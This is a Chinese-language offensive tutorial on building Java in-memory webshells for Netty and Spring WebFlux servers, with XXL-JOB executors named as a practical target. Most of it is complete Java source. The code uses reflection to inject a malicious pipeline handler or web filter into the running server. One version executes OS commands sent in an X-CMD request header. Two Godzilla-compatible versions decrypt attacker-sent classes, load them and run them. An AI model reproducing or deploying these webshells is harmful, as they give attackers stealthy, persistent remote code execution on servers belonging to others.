【Web实战】内存马系列 Netty/WebFlux 内存马

XXL-JOB EXECUTOR/Flink 对应的内存马

前言

作为Java内存马板块最冷门的一个，文章也不是很多，但实战中可能会遇到，我们需要想办法武器化。比如XXL-JOB的excutor就是一个基于netty的应用，实际上也没太认真去分析过这些内存马，还是逃不掉的捏。

环境搭建

这里参考Spring WebFlux的搭建教程，在上述参考链接中，另外需要准备一下Java-object-searcher作为我们寻找类的辅助工具，c0ny大师傅写的一个工具，对于内存马构造还是比较好使用的，事不宜迟，开始吧。
IDEA创建一个Spring reactive项目，Netty是响应式的服务器。然后我们首先研究netty层的内存马

Netty内存马

Netty他也是一个中间件，但他比较独特，他是动态生成pipeline然后进行处理。Netty内存马注入的关键就是找插入类似Filter东西的位置。本人对netty中间件研究疏浅，c0ny1大佬直接给出了结论，那就是
CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer

image.png

  1.  static ChannelPipelineConfigurer compositeChannelPipelineConfigurer(ChannelPipelineConfigurer configurer, ChannelPipelineConfigurer other) {
  2.             if (configurer == ChannelPipelineConfigurer.emptyConfigurer()) {
  3.                 return other;
  4.             } else if (other == ChannelPipelineConfigurer.emptyConfigurer()) {
  5.                 return configurer;
  6.             } else {
  7.                 int length = 2;
  8.                 ChannelPipelineConfigurer[] thizConfigurers;
  9.                 if (configurer instanceof CompositeChannelPipelineConfigurer) {
  10.                     thizConfigurers = ((CompositeChannelPipelineConfigurer)configurer).configurers;
  11.                     length += thizConfigurers.length - 1;
  12.                 } else {
  13.                     thizConfigurers = null;
  14.                 }
  16.                 ChannelPipelineConfigurer[] otherConfigurers;
  17.                 if (other instanceof CompositeChannelPipelineConfigurer) {
  18.                     otherConfigurers = ((CompositeChannelPipelineConfigurer)other).configurers;
  19.                     length += otherConfigurers.length - 1;
  20.                 } else {
  21.                     otherConfigurers = null;
  22.                 }
  24.                 ChannelPipelineConfigurer[] newConfigurers = new ChannelPipelineConfigurer[length];
  25.                 int pos;
  26.                 if (thizConfigurers != null) {
  27.                     pos = thizConfigurers.length;
  28.                     System.arraycopy(thizConfigurers, 0, newConfigurers, 0, pos);
  29.                 } else {
  30.                     pos = 1;
  31.                     newConfigurers[0] = configurer;
  32.                 }
  34.                 if (otherConfigurers != null) {
  35.                     System.arraycopy(otherConfigurers, 0, newConfigurers, pos, otherConfigurers.length);
  36.                 } else {
  37.                     newConfigurers[pos] = other;
  38.                 }
  40.                 return new CompositeChannelPipelineConfigurer(newConfigurers);
  41.             }
  42.         }
  43.     }

默认other是空的，所以直接使用spring gateway默认的Configurer，假如other不为空，就会将2个configurer合二为一成一个新的configurer。
那么我们需要思考的就是如何注入一个other，添加恶意的pipeline，通过翻阅源码可以找到reactor.netty.transport.TransportConfig类的doOnChannelInit属性存储着other参数

  1. package com.example.webfluxmem;
  2. import me.gv7.tools.josearcher.entity.Blacklist;
  3. import me.gv7.tools.josearcher.entity.Keyword;
  4. import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
  5. import org.springframework.core.annotation.Order;
  6. import org.springframework.stereotype.Component;
  7. import org.springframework.web.server.ServerWebExchange;
  8. import org.springframework.web.server.WebFilter;
  9. import org.springframework.web.server.WebFilterChain;
  10. import reactor.core.publisher.Mono;
  12. import java.util.ArrayList;
  13. import java.util.List;
  15. @Component
  16. @Order(value = 2)
  17. public class NormalFilter implements WebFilter {
  18.     @Override
  19.     public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
  20.         //设置搜索类型包含Request关键字的对象
  21.         List<Keyword> keys = new ArrayList<>();
  22.         keys.add(new Keyword.Builder().setField_type("doOnChannelInit").build());
  23.         List<Blacklist> blacklists = new ArrayList<>();
  24.         blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
  25.         SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
  26.         searcher.setBlacklists(blacklists);
  27.         searcher.setIs_debug(true);
  28.         searcher.setMax_search_depth(15);
  29.         searcher.setReport_save_path("E:\\CTFLearning");
  30.         searcher.searchObject();
  31.         return chain.filter(exchange);
  32.     }
  33. }

使用C0ny1大佬的java-object-searcher辅助工具，我们可以较快的定位到doOnChannelInit的获取方式

image.png
我们可以尝试如下获取

  1. try {
  2.             Method getThreads = Thread.class.getDeclaredMethod("getThreads");
  3.             getThreads.setAccessible(true);
  4.             Object threads = getThreads.invoke(null);
  6.             for (int i = 0; i < Array.getLength(threads); i++) {
  7.                 Object thread = Array.get(threads, i);
  8.                 if (thread != null &amp;&amp; thread.getClass().getName().contains("NettyWebServer")) {
  9.                     Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
  10.                     _val$disposableServer.setAccessible(true);
  11.                     Object val$disposableServer = _val$disposableServer.get(thread);
  12.                     Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
  13.                     _config.setAccessible(true);
  14.                     Object config = _config.get(val$disposableServer);
  15.                     Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
  16.                     _doOnChannelInit.setAccessible(true);
  17.                     msg = "inject-success";
  18.                 }
  19.             }
  20.         }catch (Exception e){
  21.             msg = "inject-error";
  22.         }

image.png
获取到了config对象，他实际上是一个reactor.netty.transport.TransportConfig类。然后从父类获取doOnChannelInit属性即可。

image.png
最后可以造出如下的内存马

  1. package com.example.webfluxmem;
  3. import io.netty.buffer.Unpooled;
  4. import io.netty.channel.*;
  5. import io.netty.handler.codec.http.*;
  6. import io.netty.util.CharsetUtil;
  7. import reactor.netty.ChannelPipelineConfigurer;
  8. import reactor.netty.ConnectionObserver;
  10. import java.lang.reflect.Array;
  11. import java.lang.reflect.Field;
  12. import java.lang.reflect.Method;
  13. import java.net.SocketAddress;
  14. import java.util.Scanner;
  16. public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
  17.     public static String doInject(){
  18.         String msg = "inject-start";
  19.         try {
  20.             Method getThreads = Thread.class.getDeclaredMethod("getThreads");
  21.             getThreads.setAccessible(true);
  22.             Object threads = getThreads.invoke(null);
  24.             for (int i = 0; i < Array.getLength(threads); i++) {
  25.                 Object thread = Array.get(threads, i);
  26.                 if (thread != null &amp;&amp; thread.getClass().getName().contains("NettyWebServer")) {
  27.                     Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
  28.                     _val$disposableServer.setAccessible(true);
  29.                     Object val$disposableServer = _val$disposableServer.get(thread);
  30.                     Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
  31.                     _config.setAccessible(true);
  32.                     Object config = _config.get(val$disposableServer);
  33.                     Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
  34.                     _doOnChannelInit.setAccessible(true);
  35.                     _doOnChannelInit.set(config, new NettyMemshell());
  36.                     msg = "inject-success";
  37.                 }
  38.             }
  39.         }catch (Exception e){
  40.             msg = "inject-error";
  41.         }
  42.         return msg;
  43.     }
  45.     @Override
  46.     // Step1. 作为一个ChannelPipelineConfigurer给pipline注册Handler
  47.     public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
  48.         ChannelPipeline pipeline = channel.pipeline();
  49.         // 将内存马的handler添加到spring层handler的前面
  50.         pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell());
  51.     }
  53.     @Override
  54.     // Step2. 作为Handler处理请求，在此实现内存马的功能逻辑
  55.     public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
  56.         if(msg instanceof HttpRequest){
  57.             HttpRequest httpRequest = (HttpRequest)msg;
  58.             try {
  59.                 if(httpRequest.headers().contains("X-CMD")) {
  60.                     String cmd = httpRequest.headers().get("X-CMD");
  61.                     String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
  62.                     // 返回执行结果
  63.                     send(ctx, execResult, HttpResponseStatus.OK);
  64.                     return;
  65.                 }
  66.             }catch (Exception e){
  67.                 e.printStackTrace();
  68.             }
  69.         }
  70.         ctx.fireChannelRead(msg);
  71.     }
  73.     private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
  74.         FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
  75.         response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
  76.         ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
  77.     }
  78. }

其中

  1. public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
  2.         ChannelPipeline pipeline = channel.pipeline();
  3.         // 将内存马的handler添加到spring层handler的前面
  4.         pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell());
  5.     }

这一段是将该类当做一个handler注入，因此需要继承ChannelDuplexHandler这个类，channelread对应的就是它的方法，然后onChannelnit对应的就是ChannelPipelineConfigurer的方法。

上述代码也不是特别的长。逻辑很简单，主要是挖掘的思路，我们看一下other是怎么被分配过去的。

  1. package com.example.webfluxmem;
  2. import me.gv7.tools.josearcher.entity.Blacklist;
  3. import me.gv7.tools.josearcher.entity.Keyword;
  4. import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
  5. import org.springframework.core.annotation.Order;
  6. import org.springframework.stereotype.Component;
  7. import org.springframework.web.server.ServerWebExchange;
  8. import org.springframework.web.server.WebFilter;
  9. import org.springframework.web.server.WebFilterChain;
  10. import reactor.core.publisher.Mono;
  12. import java.lang.reflect.Array;
  13. import java.lang.reflect.Field;
  14. import java.lang.reflect.Method;
  15. import java.util.ArrayList;
  16. import java.util.List;
  18. @Component
  19. @Order(value = 2)
  20. public class NormalFilter implements WebFilter {
  21.     @Override
  22.     public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
  23.         NettyMemshell.doInject();
  24.         return null;
  25.     }
  26. }

这里就直接注入，调试分析一下

image.png
在initChannel方法进行初始化时，将我们上面恶意注入的configurer注入进去了

image.png
最后合二为一，将NettyMemshell的索引放到首位，也就造成了命令执行

image.png
假如我们需要假如哥斯拉逻辑的话自己完善一下即可

  1. package com.example.webfluxmem;
  3. import io.netty.buffer.ByteBuf;
  4. import io.netty.buffer.Unpooled;
  5. import io.netty.channel.*;
  6. import io.netty.handler.codec.http.*;
  7. import io.netty.handler.codec.http.multipart.DefaultHttpDataFactory;
  8. import io.netty.handler.codec.http.multipart.HttpPostRequestDecoder;
  9. import io.netty.handler.codec.http.multipart.InterfaceHttpData;
  10. import io.netty.handler.codec.http.multipart.MemoryAttribute;
  11. import io.netty.util.CharsetUtil;
  12. import reactor.netty.ChannelPipelineConfigurer;
  13. import reactor.netty.ConnectionObserver;
  15. import javax.crypto.Cipher;
  16. import javax.crypto.spec.SecretKeySpec;
  17. import java.io.ByteArrayOutputStream;
  18. import java.lang.reflect.Array;
  19. import java.lang.reflect.Field;
  20. import java.lang.reflect.Method;
  21. import java.net.SocketAddress;
  22. import java.net.URL;
  23. import java.net.URLClassLoader;
  24. import java.util.*;
  26. public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
  27.     public static String doInject(){
  28.         String msg = "inject-start";
  29.         try {
  30.             Method getThreads = Thread.class.getDeclaredMethod("getThreads");
  31.             getThreads.setAccessible(true);
  32.             Object threads = getThreads.invoke(null);
  34.             for (int i = 0; i < Array.getLength(threads); i++) {
  35.                 Object thread = Array.get(threads, i);
  36.                 if (thread != null &amp;&amp; thread.getClass().getName().contains("NettyWebServer")) {
  37.                     Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
  38.                     _val$disposableServer.setAccessible(true);
  39.                     Object val$disposableServer = _val$disposableServer.get(thread);
  40.                     Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
  41.                     _config.setAccessible(true);
  42.                     Object config = _config.get(val$disposableServer);
  43.                     Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
  44.                     _doOnChannelInit.setAccessible(true);
  45.                     _doOnChannelInit.set(config, new NettyMemshell());
  46.                     msg = "inject-success";
  47.                 }
  48.             }
  49.         }catch (Exception e){
  50.             msg = "inject-error";
  51.         }
  52.         return msg;
  53.     }
  54.     String xc = "3c6e0b8a9c15224a";
  55.     String pass = "pass";
  56.     String md5 = md5(pass + xc);
  58.     private static Class defClass(byte[] classbytes)throws Exception{
  59.         URLClassLoader urlClassLoader = new URLClassLoader(new URL[0],Thread.currentThread().getContextClassLoader());
  60.         Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
  61.         method.setAccessible(true);
  62.         return (Class) method.invoke(urlClassLoader,classbytes,0,classbytes.length);
  63.     }
  65.     public byte[] x(byte[] s, boolean m) {
  66.         try {
  67.             javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
  68.             c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
  69.             return c.doFinal(s);
  70.         } catch(Exception e) {
  71.             return null;
  72.         }
  73.     }
  74.     public static String md5(String s) {
  75.         String ret = null;
  76.         try {
  77.             java.security.MessageDigest m;
  78.             m = java.security.MessageDigest.getInstance("MD5");
  79.             m.update(s.getBytes(), 0, s.length());
  80.             ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
  81.         } catch(Exception e) {}
  82.         return ret;
  83.     }
  84.     public static String base64Encode(byte[] bs) throws Exception {
  85.         Class base64;
  86.         String value = null;
  87.         try {
  88.             base64 = Class.forName("java.util.Base64");
  89.             Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
  90.             value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] {
  91.                     byte[].class
  92.             }).invoke(Encoder, new Object[] {
  93.                     bs
  94.             });
  95.         } catch(Exception e) {
  96.             try {
  97.                 base64 = Class.forName("sun.misc.BASE64Encoder");
  98.                 Object Encoder = base64.newInstance();
  99.                 value = (String) Encoder.getClass().getMethod("encode", new Class[] {
  100.                         byte[].class
  101.                 }).invoke(Encoder, new Object[] {
  102.                         bs
  103.                 });
  104.             } catch(Exception e2) {}
  105.         }
  106.         return value;
  107.     }
  108.     public static byte[] base64Decode(String bs) throws Exception {
  109.         Class base64;
  110.         byte[] value = null;
  111.         try {
  112.             base64 = Class.forName("java.util.Base64");
  113.             Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
  114.             value = (byte[]) decoder.getClass().getMethod("decode", new Class[] {
  115.                     String.class
  116.             }).invoke(decoder, new Object[] {
  117.                     bs
  118.             });
  119.         } catch(Exception e) {
  120.             try {
  121.                 base64 = Class.forName("sun.misc.BASE64Decoder");
  122.                 Object decoder = base64.newInstance();
  123.                 value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] {
  124.                         String.class
  125.                 }).invoke(decoder, new Object[] {
  126.                         bs
  127.                 });
  128.             } catch(Exception e2) {}
  129.         }
  130.         return value;
  131.     }
  133.     @Override
  134.     // Step1. 作为一个ChannelPipelineConfigurer给pipline注册Handler
  135.     public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
  136.         ChannelPipeline pipeline = channel.pipeline();
  137.         // 将内存马的handler添加到spring层handler的前面
  138.         pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell());
  139.     }
  141.     private static ThreadLocal<AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream>> requestThreadLocal = new ThreadLocal<>();
  142.     private static   Class payload;
  144.     @Override
  145.     // Step2. 作为Handler处理请求，在此实现内存马的功能逻辑
  146.     public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
  147.         if (msg instanceof HttpRequest){
  148.             HttpRequest httpRequest = (HttpRequest) msg;
  149.             AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = new AbstractMap.SimpleEntry(httpRequest,new ByteArrayOutputStream());
  150.             requestThreadLocal.set(simpleEntry);
  151.         }else if(msg instanceof HttpContent){
  152.             HttpContent httpContent = (HttpContent)msg;
  153.             AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = requestThreadLocal.get();
  154.             if (simpleEntry == null){
  155.                 return;
  156.             }
  157.             HttpRequest httpRequest = simpleEntry.getKey();
  158.             ByteArrayOutputStream contentBuf = simpleEntry.getValue();
  160.             ByteBuf byteBuf = httpContent.content();
  161.             int size = byteBuf.capacity();
  162.             byte[] requestContent = new byte[size];
  163.             byteBuf.getBytes(0,requestContent,0,requestContent.length);
  165.             contentBuf.write(requestContent);
  167.             if (httpContent instanceof LastHttpContent){
  168.                 try {
  169.                     byte[] data =  x(contentBuf.toByteArray(), false);
  171.                     if (payload == null) {
  172.                         payload = defClass(data);
  173.                         send(ctx,x(new byte[0], true),HttpResponseStatus.OK);
  174.                     } else {
  175.                         Object f = payload.newInstance();
  176.                         //初始化内存流
  177.                         java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
  178.                         //将内存流传递给哥斯拉的payload
  179.                         f.equals(arrOut);
  180.                         //将解密后的数据传递给哥斯拉Payload
  181.                         f.equals(data);
  182.                         //通知哥斯拉Payload执行shell逻辑
  183.                         f.toString();
  184.                         //调用arrOut.toByteArray()获取哥斯拉Payload的输出
  185.                         send(ctx,x(arrOut.toByteArray(), true),HttpResponseStatus.OK);
  186.                     }
  187.                 } catch(Exception e) {
  188.                     ctx.fireChannelRead(httpRequest);
  189.                 }
  190.             }else {
  191.                 ctx.fireChannelRead(msg);
  192.             }
  194.         }
  196.     }
  198.     private void send(ChannelHandlerContext ctx, byte[] context, HttpResponseStatus status) {
  199.         FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context));
  200.         response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
  201.         ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
  202.     }
  203. }

这里构造哥斯拉内存马其实有个问题，就是Netty对于处理请求参数是不完善的，不像tomcat和springboot可以通过request对象直接获取POST和GET请求参数，netty的request只可以获取一些基础的headers，因此我们要想办法获取到哥斯拉传进来的POST数据。这里我需要解释一下netty关于处理请求的特点，他会将body和header部分分为2个对象发送，首先是header对象。

image.png
首先会接收到一个DefaultHttpRequest对象，这个对象内部储存了请求头和请求类型等数据。

image.png
然后处理完header后就是body

image.png
对应的有一个DeafaultHttpContent对象。它则储存着body的内容，这样就可以获取哥斯拉的payload了。

WebFlux内存马

其实我一开始还以为WebFlux就是Netty，后面发现自己铸币了，这是2种东西，WebFlux是基于响应式reactive的框架。Tomcat和Spring都有自己类似的Listener/inceptor/filter
那么我们WebFlux肯定也少不了，它就是WebFIlter

image.png
那我们如何确认注入点呢，上述参考文章里的一位师傅给出的方法我觉得是比较妙的，首先创建一个普通的FIlter，随后再用java-object-searcher去搜索这个自定义filter的名字，这样就可以知道他储存在哪儿了。受益匪浅。

  1. package com.example.webfluxmem;
  2. import me.gv7.tools.josearcher.entity.Blacklist;
  3. import me.gv7.tools.josearcher.entity.Keyword;
  4. import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
  5. import org.springframework.core.annotation.Order;
  6. import org.springframework.stereotype.Component;
  7. import org.springframework.web.server.ServerWebExchange;
  8. import org.springframework.web.server.WebFilter;
  9. import org.springframework.web.server.WebFilterChain;
  10. import reactor.core.publisher.Mono;
  12. import java.lang.reflect.Array;
  13. import java.lang.reflect.Field;
  14. import java.lang.reflect.Method;
  15. import java.util.ArrayList;
  16. import java.util.List;
  18. @Component
  19. @Order(value = 2)
  20. public class NormalFilter implements WebFilter {
  21.     @Override
  22.     public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
  23.         //设置搜索类型包含Request关键字的对象
  24.         List<Keyword> keys = new ArrayList<>();
  25.         keys.add(new Keyword.Builder().setField_type("NormalFilter").build());
  26.         List<Blacklist> blacklists = new ArrayList<>();
  27.         blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
  28.         SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
  29.         searcher.setBlacklists(blacklists);
  30.         searcher.setIs_debug(true);
  31.         searcher.setMax_search_depth(15);
  32.         searcher.setReport_save_path("E:\\CTFLearning");
  33.         searcher.searchObject();
  34.         NettyMemshell.doInject();
  35.         return chain.filter(exchange);
  36.     }
  37. }

最终结果如下。

  1. #############################################################
  2.    Java Object Searcher v0.01
  3.    author: c0ny1<root@gv7.me>
  4.    github: http://github.com/c0ny1/java-object-searcher
  5. #############################################################
  7. TargetObject = {reactor.netty.resources.DefaultLoopResources$EventLoop} 
  8.    ---> group = {java.lang.ThreadGroup} 
  9.     ---> threads = {class [Ljava.lang.Thread;} 
  10.      ---> [5] = {org.springframework.boot.web.embedded.netty.NettyWebServer$1} 
  11.       ---> this$0 = {org.springframework.boot.web.embedded.netty.NettyWebServer} 
  12.        ---> handler = {org.springframework.http.server.reactive.ReactorHttpHandlerAdapter} 
  13.         ---> httpHandler = {org.springframework.boot.web.reactive.context.WebServerManager$DelayedInitializationHttpHandler} 
  14.          ---> delegate = {org.springframework.web.server.adapter.HttpWebHandlerAdapter} 
  15.           ---> delegate = {org.springframework.web.server.handler.ExceptionHandlingWebHandler} 
  16.             ---> delegate = {org.springframework.web.server.handler.FilteringWebHandler} 
  17.              ---> chain = {org.springframework.web.server.handler.DefaultWebFilterChain} 
  18.               ---> allFilters = {java.util.List<org.springframework.web.server.WebFilter>} 
  19.                ---> [0] = {com.example.webfluxmem.NormalFilter}

工具还是比较强大的，完整的获取到了filter储存的位置，我们可以看到，所有filter都被储存在了chain属性里，然后chain属性是被存在FilteringWebHandler里面。所以要注入的话我们就得添加一个恶意的chain进去。
那么有师傅就会好奇为什么我不能直接加一个Filter到allFilters属性里去呢？这个问题就涉及到WebFlux的设计了，一个DefaultWebFilterChain实例就是chain的一个link，这个问题在
https://xz.aliyun.com/t/11331有解答
那我们思路明确了，获取到FIlteringWebHandler后就注入恶意chain就结束了。
最终我内存马如下

  1. package com.example.webfluxmem;
  3. import org.springframework.boot.web.embedded.netty.NettyWebServer;
  4. import org.springframework.core.io.buffer.DataBuffer;
  5. import org.springframework.core.io.buffer.DefaultDataBuffer;
  6. import org.springframework.core.io.buffer.DefaultDataBufferFactory;
  7. import org.springframework.http.HttpHeaders;
  8. import org.springframework.http.HttpStatus;
  9. import org.springframework.http.server.reactive.ReactorHttpHandlerAdapter;
  10. import org.springframework.http.server.reactive.ServerHttpResponse;
  11. import org.springframework.util.MultiValueMap;
  12. import org.springframework.web.server.ServerWebExchange;
  13. import org.springframework.web.server.WebFilter;
  14. import org.springframework.web.server.WebFilterChain;
  15. import org.springframework.web.server.WebHandler;
  16. import org.springframework.web.server.adapter.HttpWebHandlerAdapter;
  17. import org.springframework.web.server.handler.DefaultWebFilterChain;
  18. import org.springframework.web.server.handler.ExceptionHandlingWebHandler;
  19. import org.springframework.web.server.handler.FilteringWebHandler;
  20. import reactor.core.publisher.Mono;
  22. import javax.crypto.Cipher;
  23. import javax.crypto.spec.SecretKeySpec;
  24. import java.io.ByteArrayOutputStream;
  25. import java.lang.reflect.Array;
  26. import java.lang.reflect.Field;
  27. import java.lang.reflect.Method;
  28. import java.lang.reflect.Modifier;
  29. import java.net.URL;
  30. import java.net.URLClassLoader;
  31. import java.nio.charset.StandardCharsets;
  32. import java.util.ArrayList;
  33. import java.util.List;
  35. public class WebFluxFilterMemshell implements WebFilter {
  36.     String xc = "3c6e0b8a9c15224a"; // key
  37.     String pass = "pass";
  38.     String md5 = md5(pass + xc);
  39.     Class payload;
  40.     public byte[] x(byte[] s, boolean m) {
  41.         try {
  42.             Cipher c = Cipher.getInstance("AES");
  43.             c.init(m ? 1 : 2, new SecretKeySpec(xc.getBytes(), "AES"));
  44.             return c.doFinal(s);
  45.         } catch (Exception e) {
  46.             return null;
  47.         }
  48.     }
  49.     public static String md5(String s) {
  50.         String ret = null;
  51.         try {
  52.             java.security.MessageDigest m;
  53.             m = java.security.MessageDigest.getInstance("MD5");
  54.             m.update(s.getBytes(), 0, s.length());
  55.             ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
  56.         } catch (Exception e) {
  57.         }
  58.         return ret;
  59.     }
  61.     public static String base64Encode(byte[] bs) throws Exception {
  62.         Class base64;
  63.         String value = null;
  64.         try {
  65.             base64 = Class.forName("java.util.Base64");
  66.             Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
  67.             value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
  68.         } catch (Exception e) {
  69.             try {
  70.                 base64 = Class.forName("sun.misc.BASE64Encoder");
  71.                 Object Encoder = base64.newInstance();
  72.                 value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
  73.             } catch (Exception e2) {
  74.             }
  75.         }
  76.         return value;
  77.     }
  79.     public static byte[] base64Decode(String bs) throws Exception {
  80.         Class base64;
  81.         byte[] value = null;
  82.         try {
  83.             base64 = Class.forName("java.util.Base64");
  84.             Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
  85.             value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
  86.         } catch (Exception e) {
  87.             try {
  88.                 base64 = Class.forName("sun.misc.BASE64Decoder");
  89.                 Object decoder = base64.newInstance();
  90.                 value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
  91.             } catch (Exception e2) {
  92.             }
  93.         }
  94.         return value;
  95.     }
  96.     public static Object getFieldValue(Object obj, String fieldName,boolean superClass) throws Exception {
  97.         Field f;
  98.         if(superClass){
  99.             f = obj.getClass().getSuperclass().getDeclaredField(fieldName);
  100.         }else {
  101.             f = obj.getClass().getDeclaredField(fieldName);
  102.         }
  103.         f.setAccessible(true);
  104.         return f.get(obj);
  105.     }
  106.     public static String doInject() {
  107.         String msg = "Inject MemShell Failed";
  108.         Method getThreads = null;
  109.         try {
  110.             getThreads = Thread.class.getDeclaredMethod("getThreads");
  111.             getThreads.setAccessible(true);
  112.             Object threads = getThreads.invoke(null);
  113.             for (int i = 0; i < Array.getLength(threads); i++) {
  114.                 Object thread = Array.get(threads, i);
  115.                 if (thread != null &amp;&amp; thread.getClass().getName().contains("NettyWebServer")) {
  116.                     // 获取defaultWebFilterChain
  117.                     NettyWebServer nettyWebServer = (NettyWebServer) getFieldValue(thread, "this$0",false);
  118.                     ReactorHttpHandlerAdapter reactorHttpHandlerAdapter = (ReactorHttpHandlerAdapter) getFieldValue(nettyWebServer, "handler",false);
  119.                     Object delayedInitializationHttpHandler = getFieldValue(reactorHttpHandlerAdapter,"httpHandler",false);
  120.                     HttpWebHandlerAdapter httpWebHandlerAdapter= (HttpWebHandlerAdapter)getFieldValue(delayedInitializationHttpHandler,"delegate",false);
  121.                     ExceptionHandlingWebHandler exceptionHandlingWebHandler= (ExceptionHandlingWebHandler)getFieldValue(httpWebHandlerAdapter,"delegate",true);
  122.                     FilteringWebHandler filteringWebHandler = (FilteringWebHandler)getFieldValue(exceptionHandlingWebHandler,"delegate",true);
  123.                     DefaultWebFilterChain defaultWebFilterChain= (DefaultWebFilterChain)getFieldValue(filteringWebHandler,"chain",false);
  124.                     // 构造新的Chain进行替换
  125.                     Object handler= getFieldValue(defaultWebFilterChain,"handler",false);
  126.                     List<WebFilter> newAllFilters= new ArrayList<>(defaultWebFilterChain.getFilters());
  127.                     newAllFilters.add(0,new WebFluxFilterMemshell());// 链的遍历顺序即"优先级"，因此添加到首位
  128.                     DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler, newAllFilters);
  129.                     Field f = filteringWebHandler.getClass().getDeclaredField("chain");
  130.                     f.setAccessible(true);
  131.                     Field modifersField = Field.class.getDeclaredField("modifiers");
  132.                     modifersField.setAccessible(true);
  133.                     modifersField.setInt(f, f.getModifiers() &amp; ~Modifier.FINAL);// 去掉final修饰符以重新set
  134.                     f.set(filteringWebHandler,newChain);
  135.                     modifersField.setInt(f, f.getModifiers() &amp; Modifier.FINAL);
  136.                     msg = "Inject MemShell Successful";
  137.                 }
  138.             }
  139.         } catch (Exception e) {
  140.             e.printStackTrace();
  141.         }
  142.         return msg;
  143.     }
  144.     @Override
  145.     public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
  146.         return exchange.getResponse().writeWith(getPost(exchange));
  147.     }
  148.     private Mono<DefaultDataBuffer> getPost(ServerWebExchange exchange){
  149.         Mono<MultiValueMap<String, String>> formData = exchange.getFormData();
  150.         Mono<DefaultDataBuffer> bytesdata = formData.flatMap(map -> {
  151.             StringBuilder result = new StringBuilder();
  152.             try {
  153.                 byte[] data = base64Decode(map.getFirst(pass));
  154.                 data = x(data, false);
  155.                 if (payload == null) {
  156.                     URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
  157.                     Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
  158.                     defMethod.setAccessible(true);
  159.                     payload = (Class) defMethod.invoke(urlClassLoader, data, 0, data.length);
  160.                 } else {
  161.                     ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
  162.                     Object f = payload.newInstance();
  163.                     f.equals(arrOut);
  164.                     f.equals(data);
  165.                     f.equals(exchange.getRequest());
  166.                     result.append(md5.substring(0, 16));
  167.                     f.toString();
  168.                     result.append(base64Encode(x(arrOut.toByteArray(), true)));
  169.                     result.append(md5.substring(16));
  170.                 }
  171.             }
  172.             catch (Exception e) {
  174.             }
